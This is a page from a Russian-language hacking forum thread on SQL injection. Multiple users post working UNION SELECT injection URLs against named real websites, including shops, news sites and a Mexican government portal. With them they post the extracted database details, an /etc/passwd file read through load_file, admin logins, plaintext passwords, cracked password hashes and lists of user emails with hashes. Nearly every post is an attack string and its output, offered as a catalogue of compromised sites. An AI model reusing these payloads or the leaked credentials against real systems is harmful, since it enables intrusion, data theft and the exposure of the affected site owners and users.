SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 422 of 798
  1. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.accordgrup.ro/produse-detalii.php?id=-11+union+select+1,2,3,concat_ws(0x3a,version(),database(),useR()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19&meniu=&ex=&lb=ro


    Database Version: 5.0.37
    Database name: accordgrup
    User name: accordgrup@localhost

    http://www.weissprofil.ro/produse.php?id=-29+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5


    Database Version: 5.0.45-log
    Database name: weissprofil
    User name: [email protected]


    http://www.wert.ro/lucrari.php?d=5&f=-13+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7&lb=en&p=1


    Database Version: 5.0.24a-Debian_9
    Database name: wert
    User name: wert@localhost


    http://www.metroplex.ro/produse.php?ct=-4+union+select+1,2,concat_ws(0x3a,version(),database(),useR()),4&t=p#15


    Database Version: 5.0.45-log
    Database name: metroplex
    User name: [email protected]

    http://www.valromexim.ro/produse-detalii.php?id=-24+union+select+1,2,3,concat_ws(0x3a,version(),database(),useR()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27--


    Database Version: 5.0.45-log
    Database name: valromexim
    User name: [email protected]

    http://www.mementomori.ro/produse-detalii.php?id=-1443+union+select+1,2,3,4,5,concat_ws(0x3a,version(),database(),useR()),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29

    Database Version: 5.0.22
    Database name: mementomori
    User name: mementomori@localhost

    http://www.dpnet.ro/produse-detalii.php?id=-76+UNION+SELECT+1,2,3,4,5,6,concat_ws(0x3a,version(),database(),useR()),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28--


    Database Version: 5.0.67-community
    Database name: rdpn0104_dpnet
    User name: rdpn0104_dpnet@localhost
     
    #8421 Gorev, 20 Mar 2009
    2 people like this.
  2. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    Database Version: 4.0.25
    Database name: autorynok
    User name: autorynok@localhost


    Database Version: 4.1.22-log
    Database name: wwwprotechnologi
    User name: protechn@localhost
     
    #8422 .:[melkiy]:., 20 Mar 2009
    Last edited: 20 Mar 2009
  3. f1ng3r

    f1ng3r [забытый полк]

    Joined:
    14 Jan 2009
    Messages:
    529
    Likes Received:
    413
    Reputations:
    256
    Code:
    http://www.hs-ships.ru/new.phtm?i=-1+union+select+1,2,concat_ ws(0x3a,version(),database(),user()),4,5--
    Database Version : 4.1.22-WWW
    Database name : flot_search
    User name : flot@localhost
     
    #8423 f1ng3r, 20 Mar 2009
    4 people like this.
  4. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    Database Version: 5.0.45-log
    Database name: u91998
    User name: [email protected]


    admin:c4ca4238a0b923820dcc509a6f75849b ~ 1
    keeper:c4ca4238a0b923820dcc509a6f75849b ~ 1
    леночка:f66786da44fda0a3fff3596281989647 ~ 20062003
    абакан:c7736e57315df784b4f7094019fc13be ~ antares
    Алексей:153c4797e9d1f5010b2ceb71f3160223 ~ ??
    user:c7736e57315df784b4f7094019fc13be ~ antares
    antares:827ccb0eea8a706c4c34a16891f84e7b ~ 12345
    luba:405e28906322882c5be9b4b27f4c35fd ~ 1978

    Database Version: 5.0.67-community
    Database name: precisec_pbc
    User name: precisec_pbc@localhost

    Login: admin
    Pass: PbCaDmInCmS
     
    #8424 .:[melkiy]:., 20 Mar 2009
    Last edited by a moderator: 20 Mar 2009
    2 people like this.
  5. z00MAN

    z00MAN Banned

    Joined:
    20 Nov 2008
    Messages:
    360
    Likes Received:
    276
    Reputations:
    41
    PM Team
    Code:
    http://www.pmteam.ru/blogs/?id=20+union+select+1,2,3,concat(version(),0x3a,user(),0x3a,database())/*
    user(): wwwpmteamru
    database(): pmteam01@localhost
    version(): 4.1.22-log
    тИЦ=20
    PR=4

    table users
    Code:
    http://www.pmteam.ru/blogs/?id=20+union+select+1,concat(id,0x3a,login,0x3a,password),3,4+from+users/*
    PHP:
    20:mart:aprel
    13    :Admin:qweasd
    14    :emorgun:1234567
    9    :SFilippenko:figvam
    22    :SVN:bwdm604
    15    :ekaterina:4979408
    ООО Издательский дом ВИАМ
    Code:
    http://www.viam.spb.ru/cont/cont_paper.php?id=20'+union+select+1,2,3,concat(version(),0x3a,user(),0x3a,database()),5,6,7/*
    user(): viam
    database(): viam@localhost
    version(): 4.0.27-log

    тИЦ=100
    PR=4

    AFPC
    Code:
    http://www.afpc-cartes.com/actus.php?id=20+union+select+1,2,3,4,5,6,7,concat(version(),0x3a,user(),0x3a,database()),9,10,11,12,13--
    user(): afpc
    database(): afpc2005@localhost
    version(): 4.0.24_Debian-10sarge2-log

    PR=4
     
    #8425 z00MAN, 20 Mar 2009
    Last edited by a moderator: 20 Mar 2009
    2 people like this.
  6. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://animassacre.com/news.php?id=-41+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),useR())


    Database Version: 5.0.51a-community
    Database name: juck_animassasite
    User name: juck_animassaani@localhost
     
    #8426 Gorev, 20 Mar 2009
    1 person likes this.
  7. FaR-G9

    FaR-G9 Member

    Joined:
    19 Dec 2006
    Messages:
    114
    Likes Received:
    28
    Reputations:
    -4
    http://www.spb-online.ru/news.php?id=12+UNION+SELECT+1,concat_ws(0x3a,version(),database(),user()),3,4+LIMIT+1,1/*

    Database Version: 4.1.25
    Database name: spbonline_spb
    User name: spbonline_spb@localhost


    http://www.ringator.ru/cat.php?p=37'+UNION+SELECT+1,AES_DECRYPT(AES_ENCRYPT(concat(version(),database(),user()),0x71),0x71)+LIMIT+1,1/*

    Database Version: 4.1.13
    Database name: geeload_ringator
    User name: geeload_ringator@localhost
     
    #8427 FaR-G9, 21 Mar 2009
    1 person likes this.
  8. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    Pagerank: 6

    http://www.seenews.com/_c/SaveAs.php?Id=-137535+UNION+SELECT+1,concat_ws(0x3a,version(),database(),useR()),3,4,5,6&Type=3


    Database Version: 5.1.16-beta-Debian_3-log
    Database name: SeeNewsUTF
    User name: root@localhost

    http://www.seenews.com/_c/SaveAs.php?Id=-137535+UNION+SELECT+1,load_file(0x2f6574632f706173737764),3,4,5,6&Type=3

    root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/bin/shbin:x:2:2:bin:/bin:/bin/shsys:x:3:3:sys:/dev:/bin/shsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/bin/shman:x:6:12:man:/var/cache/man:/bin/shlp:x:7:7:lp:/var/spool/lpd:/bin/shmail:x:8:8:mail:/var/mail:/bin/shnews:x:9:9:news:/var/spool/news:/bin/shuucp:x:10:10:uucp:/var/spool/uucp:/bin/shproxy:x:13:13:proxy:/bin:/bin/shwww-data:x:33:33:www-data:/var/www:/bin/shbackup:x:34:34:backup:/var/backups:/bin/shlist:x:38:38:Mailing List Manager:/var/list:/bin/shirc:x:39:39:ircd:/var/run/ircd:/bin/shgnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/shnobody:x:65534:65534:nobody:/nonexistent:/bin/shDebian-exim:x:100:102::/var/spool/exim4:/bin/falsestatd:x:101:65534::/var/lib/nfs:/bin/falseidentd:x:102:65534::/var/run/identd:/bin/falseit:x:1000:1000:it,,,:/home/it:/bin/bashsshd:x:103:65534::/var/run/sshd:/usr/sbin/nologinmysql:x:104:104:MySQL Server,,,:/var/lib/mysql:/bin/falsepublisher:x:1001:33:SeeNews Publisher,,,:/var/publisher/:/bin/bashbacula:x:105:105:Bacula:/var/lib/bacula:/bin/false

    интересная скуля по моему мнению, так как вывод информации из БД осуществляется в открывающимся документе ворд... для меня это было что то новое.
     
    #8428 Gorev, 21 Mar 2009
    1 person likes this.
  9. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    Database Version: 5.0.75-percona-highperf-b11-log
    Database name: a6659_reverans
    User name: [email protected]

    Login: admin
    Pass: 12345



    Database Version: 5.0.67-log
    Database name: u94915_bestfas
    User name: [email protected]

    Login: root
    Pass: privetArena


    Database Version: 5.0.67-log
    Database name: u47054
    User name: [email protected]

    Login: admin
    Pass: 3ceaf5c5abed0963e3e1be7fa91cf8d9 : 6164707


    Database Version: 5.0.45-log
    Database name: imcjordan
    User name: [email protected]

    Email: [email protected]
    Pass: fadi2008
     
    #8429 .:[melkiy]:., 21 Mar 2009
    Last edited: 21 Mar 2009
  10. f1ng3r

    f1ng3r [забытый полк]

    Joined:
    14 Jan 2009
    Messages:
    529
    Likes Received:
    413
    Reputations:
    256
    Code:
    http://www.speccars.ru/index.php?id=-1+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33--
    Database Version : 4.1.22-log
    Database name : speccar4_sdbase
    User name : speccar4_suser@localhost
     
    #8430 f1ng3r, 21 Mar 2009
    1 person likes this.
  11. nazgul_mk

    nazgul_mk New Member

    Joined:
    6 Jul 2008
    Messages:
    11
    Likes Received:
    1
    Reputations:
    0
    http://animassacre.com/news.php?id=-41+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user())
     
    #8431 nazgul_mk, 21 Mar 2009
  12. erihtoney

    erihtoney Member

    Joined:
    3 Mar 2009
    Messages:
    91
    Likes Received:
    73
    Reputations:
    20
    Code:
    http://syslinks.arsmedium-ag.de/view_group.php?id=-1+union+select+
0,'Im-IRAQI',concat_ws(0x3a,username,password),0,0,0,0,0+FROM+apb_users--
    username:wolff
    password: 27E1FmimyJ7mY

    Code:
    http://syslinks.arsmedium-ag.de/view_group.php?id=-1+union+select+0,'Im-IRAQI',concat_ws(0x3a,user(),version(),database()),0,0,0,0,0+FROM+apb_users--
    user:apb@localhost
    version:4.1.25
    database:ars_apb







    Code:
    http://www.ocotlan.gob.mx/noticias.php?Id=-1+union+select+0,concat_ws
(0x3a3a20,version(),user(),database()),2,3,4,5,6,7,8
    user:ocotlan_portal@localhost
    version:5.0.67-community
    database:ocotlan_portal

    Code:
    http://www.ocotlan.gob.mx/noticias.php?
Id=-1+union+select+0,password,2,3,4,5,6,7,8+from
+usuarios--
    password: secureLog01
     
    #8432 erihtoney, 21 Mar 2009
  13. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    3,619
    Likes Received:
    432
    Reputations:
    234
    http://www.poplavok.info/index.php?mod=article&act=art&id=-6+union+select+1,2,3,4,5/*
    4.1.22-standard

    http://sjaschool.org/news_calendar/news_archives.php?id=-100+union+select+1,version(),database(),4,5,6,7/*

    4.0.24-standard
    sja_site
     
    #8433 DezMond™, 21 Mar 2009
  14. z00MAN

    z00MAN Banned

    Joined:
    20 Nov 2008
    Messages:
    360
    Likes Received:
    276
    Reputations:
    41
    Info Security Adviser
    Code:
    http://www.infosecurityadviser.com/view_message?id=-21+union+select+1,2,3,4,5,concat(version(),0x3a,database(),user()),7,8/*
    user(): miniTao_Reed
    database(): taobase@localhost
    version(): 5.0.37-log

    PR=4

    Code:
    http://www.infosecurityadviser.com/view_message?id=-21+union+select+1,2,3,4,5,table_name,7,8+from+information_schema.tables+limit+0,1/*
    читаем таблицы.. ~170
     
    #8434 z00MAN, 21 Mar 2009
    1 person likes this.
  15. Dagon

    Dagon Elder - Старейшина

    Joined:
    27 Mar 2006
    Messages:
    57
    Likes Received:
    24
    Reputations:
    8
    иностранный датинг. окло 50к юзеров+пхпбб-форум.

    http://tv.mylol.net/?chan=345345345345345%20UNION%20SELECT%2044444,55555,66666,77777,88888,99999,33333,email,5%20FROM%20lol_users%20where%20id=4400
     
    #8435 Dagon, 21 Mar 2009
    3 people like this.
  16. InFlame

    InFlame Banned

    Joined:
    27 Oct 2008
    Messages:
    207
    Likes Received:
    32
    Reputations:
    0
    http://www.nicepeople.ru/article.php?action=showarticle&id=-1+union+select+1,2,3,concat_ws(0x3a3a,version(),user(),database()),5,6,7,8,9
     
    #8436 InFlame, 21 Mar 2009
  17. laedafess

    laedafess Member

    Joined:
    11 Feb 2009
    Messages:
    70
    Likes Received:
    29
    Reputations:
    15
    Code:
    http://www.7days.ae/storydetails.php?id=-74984'+union+select+1,2,3,4,5,6,concat_ws(0x3a,user(),database(),version()),8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4+--+
    user(): sevendaysdb@localhost
    database(): sevendaysdb
    version(): 5.0.45
    PR: 6
    ---------------------------------------------------
    Code:
    http://www.dimensionextreme.com/newspopup.php?id=-38'+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5,6,7,8,9/*
    user(): dimextreme@localhost
    database(): test
    version(): 4.1.20
    PR: 4
    ---------------------------------------------------
    Code:
    http://www.autosport.com/news/report.php/id/973525' union select 1,2,3,4,5,concat_ws(0x3a,user(),database(),version()),7,8,9,0,1,2,3,4,5,6,7,8,'a
    user(): [email protected]
    database(): autosport
    version(): 5.0.27-standard-log
    PR: 6
     
    #8437 laedafess, 21 Mar 2009
    Last edited by a moderator: 21 Mar 2009
    2 people like this.
  18. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    Database Version: 5.0.68-log
    Database name: Sql211120_1
    User name: [email protected]


    HTML:
    admin:9e817de2f9afff78d03f8b49f1fb920d

[email protected]:a113710b4eafa4c5482123a55d244bb4

[email protected]:ceed60763b5891b3a88277b7b40330c4

[email protected]:d980db36a9667ca518de3d7dd4190d72

[email protected]:0949fd5c7d3d8eca089e7f58a9ed00b6

[email protected]:c014c464bb0b6b680a24ab8708b96075

festa.francesco@memo service.c:2e80eb6090aa91ba6647fa03e6cfef0e

[email protected]:f57039f0a0a70592d2586ea44aa33886

[email protected]:dd97813dd40be87559aaefed642c3fbb

[email protected]:7130857e6277c4d1444be88c5da1bd29

[email protected]:e660710b822ceeaf54016c59b441133a

[email protected]:1346037476b33cabfff2fe21c94f281a

[email protected]:0c74ac34d6652b2da30488d4f38496d8

[email protected]:05aab7caf9d70adb9bea6637489ce412

[email protected]:1d7364f4a24cfbbbef836d8276c7ccb2
     
    #8438 .:[melkiy]:., 21 Mar 2009
    Last edited: 21 Mar 2009
    2 people like this.
  19. Byrger

    Byrger Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    521
    Likes Received:
    26
    Reputations:
    -4
    HTML:
    http://www.rus-plotnik.ru/articles/?prod_id=-379+union+select+1,2,3,4,5,6,7--
    Database Version: 5.0.67-log
    Database name: rusplotnik
    User name: rusplotnik@localhost

    Тиц 60
    PR 3

    Админа не нашёл =\
     
    #8439 Byrger, 22 Mar 2009
  20. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Code:
    http://norbic.org/events/detail.php?eid=-1+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6,7,8,9,10,11,12,13,14,15,16
    user() : database() : version()
    [email protected] : norbicweb : 4.1.22-max-log
     
    #8440 mailbrush, 22 Mar 2009
(You must log in or sign up to post here.)
Page 422 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.